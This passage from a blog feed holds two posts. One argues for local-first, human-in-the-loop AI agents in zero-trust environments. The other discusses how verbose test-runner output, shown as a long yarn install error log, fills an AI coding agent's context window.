&lt;p&gt;What are zero-trust environments? From a cybersecurity perspective, zero-trust environments are those that assume no user or system can be trusted by default. A sort of, “trust no one” approach that optimizes for the long-lasting security practice of “principle of least privilege”. In these environments, every action and request is treated with suspicion and requires strict verification and validation. This is in contrast to traditional computing environments where trust is granted based on network location or user credentials.&lt;/p&gt;
&lt;p&gt;Examples for computing environments that are operate in highly sensitive verticals and require a zero-trust approach include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Defense and military systems&lt;/li&gt;
&lt;li&gt;Government and public sector systems&lt;/li&gt;
&lt;li&gt;Financial institutions and banking systems&lt;/li&gt;
&lt;li&gt;Healthcare and medical systems&lt;/li&gt;
&lt;li&gt;Critical infrastructure systems (e.g., power grids, water supply)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;How can such environments and organizations leverage AI and agentic workflows without compromising security and trust?&lt;/p&gt;
&lt;p&gt;I believe the answer lies in two key principles: &lt;strong&gt;local-first AI agents&lt;/strong&gt; and &lt;strong&gt;semi-agentic workflows&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;local-first-ai-agents&quot;&gt;Local-first AI Agents&lt;/h2&gt;
&lt;p&gt;Just as these highly sensitive environments been slow to adopt cloud computing and have more-often-than-not reached for on-premise solutions, so too will they be slow to adopt AI agents that are cloud-based and provided by cloud vendors such as OpenAI or Anthropic’s remote models. Instead, they will prefer local-first AI agents that run on-premise, ensuring that data and operations remain within the organization’s control. Hard requirements to ensure that data does not leak outside the organization and that the underlying vendors and supplies of AI models do not train or fine-tune their models on the data that is being processed by the AI agents.&lt;/p&gt;
&lt;h2 id=&quot;semi-agentic-workflows&quot;&gt;Semi-Agentic Workflows&lt;/h2&gt;
&lt;p&gt;Given the advancement of agentic development workflows, where AI agents assume autonomy in executing tasks and making decisions, these workflows are likely to be too risky for highly sensitive environments. The risk of AI agents making decisions that could lead to security breaches, data leaks, or other unintended consequences is simply too high and will receive too much scrutiny from regulators and security teams (yes, your CISO is not going to like the idea of AI agents running off on their own).&lt;/p&gt;
&lt;p&gt;As such, what does it mean to embrace agentic workflows in these environments? First and foremost, it means that these environments will need to adopt a &lt;strong&gt;plan, don’t execute&lt;/strong&gt; approach.&lt;/p&gt;
&lt;p&gt;At its core, semi-agentic workflows will require a “human in the loop” (HITL) approach for oversight and overall control flow validation. Such semi-agentic workflows will position AI agents as tools for planning and inferring intent, rather than executing tasks autonomously. This means that AI agents will be used to analyze data, generate insights, and propose actions, but the actual execution of tasks will be done through pre-defined workflows that are carefully designed and vetted by human operators.&lt;/p&gt;</content:encoded></item><item><title>Traits of AI-native Products for Optimized AI Agentic Workflows</title><link>https://lirantal.com/blog/ai-first-devtool-companies-and-devrel/</link><guid>https://lirantal.com/blog/ai-first-devtool-companies-and-devrel/</guid><description>With agentic workflows like Claude Code executing commands, applications, debugging and self-healing, how do you optimize your application for it to be most successfully instructed by AI agents?</description><pubDate>Fri, 15 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As someone who’s been on both ends of application developer and application consumer, it is a fascinating right now to see the shift in computing and how AI is now taking the center stage on &lt;em&gt;both&lt;/em&gt; of those ends. Developers use generative AI to write code and at the same time, AI agents are effectively driving application interaction and workflows, on behalf of humans (for now).&lt;/p&gt;
&lt;p&gt;So if you’re building applications that are intended to be consumed by AI agents then optimizing for AI-first consumption should be top of mind. But what does it mean?&lt;/p&gt;
&lt;p&gt;To allow AI agents to efficiently consume your application and drive workflows around it, we need to distill the essence of what makes an agentic execution successful.&lt;/p&gt;
&lt;p&gt;Let’s raise a few questions around how agents execute and try to answer them:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;What are the limiting factors of AI agents? We know that context windows have traditionally been an issue, even if the window keeps increasing with new models, but at the same time, the agentic application utilizes that too for its own benefit and throws a lot of information into the context window of the agent. For example: reading your directory structure, reading source code files, reading recent commits, running an &lt;code&gt;ast-grep&lt;/code&gt; output for the context and so much more.&lt;/li&gt;
&lt;li&gt;What are the tools available to AI agents? agentic workflows are increasingly transitioning into autonomous execution and LLMs are further expected to invoke tools and MCP servers at their disposal to squeeze the most out of the actionable execution that they can perform. So if AI agents can execute tools, we can leverage that to our advantage.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let me call it at that with those 2 high level takeaways for now, and continue next to unfold those to actual practices with real-world examples.&lt;/p&gt;
&lt;h2 id=&quot;ai-first-context-awareness&quot;&gt;AI-first context awareness&lt;/h2&gt;
&lt;p&gt;As a developer, what artifact can you think of that can quickly deteriorate the quality of a context window and incur a negative performance on the agent execution?&lt;/p&gt;
&lt;p&gt;Logs is a first good answer. Another example to point out is large files. Large files are a potential bottleneck for AI agents functioning properly due to the fact that they will eat up a large amount of context window. That could lead to degraded performance because then recent messages become older messages and so on.&lt;/p&gt;
&lt;p&gt;Ok so what’s a practical example of this? Imagine you are running a Claude Code agent that works on a code base. As part of the work it needs to run tests. When it runs the tests it runs the entire test suites. Imagine you have a ton of tests and just the output of that test suite, in terms of the test runner or framework (and the reporter) is just excessively large. Every time the agent executes a code change it executes the tests and fills up a large chunk of the context window just for the sake of tests.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$ npm run &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; FAIL  e2e/__tests__/stackTraceSourceMaps.test.ts (9.807 s)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ● processes stack traces and code frames with &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; maps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    Command failed with &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; code 1: yarn install --immutable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ➤ YN0000: · Yarn 4.9.2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ➤ YN0000: ┌ Resolution step&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Resolution step&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ➤ YN0000: └ Completed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ➤ YN0000: ┌ Post-resolution validation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Post-resolution validation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ➤ YN0000: └ Completed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ➤ YN0000: ┌ Fetch step&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Fetch step&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ➤ YN0018: typescript@patch:typescript@npm%3A5.8.3#optional&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;builtin&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;compat/typescript&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;::version=5.8.3&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;hash=5786d5: The remote archive doesn&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;t match the expected checksum&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    ➤ YN0000: └ Completed in 4s 59ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    ➤ YN0000: · Failed with errors in 4s 284ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      shortMessage: &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Command failed with &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; code 1: yarn install --immutable&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      command: &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;yarn install --immutable&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      escapedCommand: &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;yarn install --immutable&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      exitCode: 1,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      signal: undefined,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      signalDescription: undefined,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      stdout: &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[94m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0000: · &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[1mYarn 4.9.2&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[22m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[94m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[90mYN0000&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: ┌ Resolution step&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;::group::Resolution step&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;::endgroup::&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[94m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[90mYN0000&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: └ Completed&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[94m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[90mYN0000&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: ┌ Post-resolution validation&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;::group::Post-resolution validation&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@algolia/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mautocomplete-core&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@algolia/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mclient-search&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@algolia/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mautocomplete-core&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173malgoliasearch&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@algolia/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mautocomplete-plugin-algolia-insights&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;111mpeerDependencies&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m ➤ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@algolia/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;173mclient-search&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m: No matching package &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; the dependency tree&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; you may not need this rule anymore.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;        &apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[93m➤&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m YN0068: │ &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[38&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;166m@algolia/&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;1B[39m&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\x&lt;/span&gt;&lt;span style=&quot;color: 